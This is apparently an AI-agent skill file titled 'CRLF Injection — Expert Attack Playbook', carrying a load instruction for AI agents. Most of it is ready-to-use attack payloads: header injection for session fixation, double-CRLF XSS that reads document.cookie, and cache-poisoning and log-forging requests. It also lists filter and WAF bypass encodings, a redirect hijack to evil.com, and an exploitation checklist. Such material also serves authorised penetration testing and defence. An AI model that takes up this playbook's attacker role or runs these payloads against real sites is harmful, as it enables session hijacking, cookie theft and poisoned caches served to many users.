Imported from yaklang/hack-skills (
skills/crlf-injection/SKILL.md) via skills.sh. Install upstream withnpx skills add yaklang/hack-skills --skill crlf-injection. Copyright stays with the author.
SKILL: CRLF Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.
0. RELATED ROUTING
- ghost-bits-cast-attack when the target is a Java service and
%0D%0A/\r\nencodings are WAF-blocked — substituting瘍(U+760D, low byte\r) and瘊(U+760A, low byte\n) injects a real CRLF through Angus Mail / Jakarta Mail SMTP, Apache HttpClient headers, JDK HttpServer responses, and ActiveJ HTTP (re-enables Jira CVE-2025-57733 and JDK CVE-2026-21933 classes)
1. CORE CONCEPT
CRLF = \r\n (Carriage Return + Line Feed, %0D%0A). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.
Normal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers — Location + injected Set-Cookie
2. DETECTION
Basic Probe
%0D%0ANew-Header:injected
# In URL parameter:
https://target.com/redirect?url=%0D%0AX-Injected:true
# Check response headers for "X-Injected: true"Double CRLF — Body Injection
Two consecutive CRLF sequences end headers and start body:
%0D%0A%0D%0A<script>alert(1)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(1)</script>3. EXPLOITATION SCENARIOS
Session Fixation via Set-Cookie
%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_idXSS via Response Body
%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>Cache Poisoning
If the response is cached by a CDN or proxy, injected headers/body are served to all users:
GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>Log Injection
CRLF in log-visible fields (User-Agent, Referer) can forge log entries:
User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 2004. FILTER BYPASS
| Filter | Bypass |
|---|---|
Blocks %0D%0A |
Try %0D alone, %0A alone, or %E5%98%8A%E5%98%8D (Unicode) |
| URL decodes once | Double-encode: %250D%250A |
Strips \r\n literally |
Use URL-encoded form |
| Blocks in value only | Inject in parameter name |
# Unicode/UTF-8 bypass:
%E5%98%8A%E5%98%8D → decoded as CRLF in some parsers
# Double URL encoding:
%250D%250A → server decodes to %0D%0A → interpreted as CRLF
# Partial injection (LF only):
%0A → some servers accept LF without CR5. REAL-WORLD EXPLOITATION CHAINS
CRLF + Session Fixation
# Inject Set-Cookie via CRLF in redirect parameter:
?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
# Result:
HTTP/1.1 302 Found
Location: /page
Set-Cookie: PHPSESSID=attacker_controlled_session_id
# Victim uses attacker's session → attacker hijacks after loginCRLF → XSS via Double CRLF Body Injection
# Two CRLF sequences end headers and inject response body:
?url=%0D%0A%0D%0A<script>alert(document.cookie)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(document.cookie)</script>CRLF in 302 Location → Redirect Hijack
# Inject new Location header before the original:
?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A
# Some servers use the LAST Location header → redirect to evil.com6. COMMON VULNERABLE PATTERNS
// PHP — header() with user input (PHP < 5.1.2 vulnerable):
header("Location: " . $_GET['url']);
// Python — redirect with unsanitized input:
return redirect(request.args.get('next'))
// Node.js — setHeader with user input:
res.setHeader('X-Custom', userInput);
// Java — response.setHeader with user input:
response.setHeader("Location", request.getParameter("url"));7. TESTING CHECKLIST
□ Inject %0D%0A in redirect URL parameters
□ Inject %0D%0A in Set-Cookie name/value paths
□ Try double CRLF for body injection → XSS
□ Test encoding bypasses: double-encode, Unicode (%E5%98%8D%E5%98%8A), LF-only (%0A)
□ Check if response is cacheable → cache poisoning
□ Test in User-Agent / Referer for log injection
□ Test CRLF + Set-Cookie for session fixation
□ Verify if Location header can be injected in 302 responses
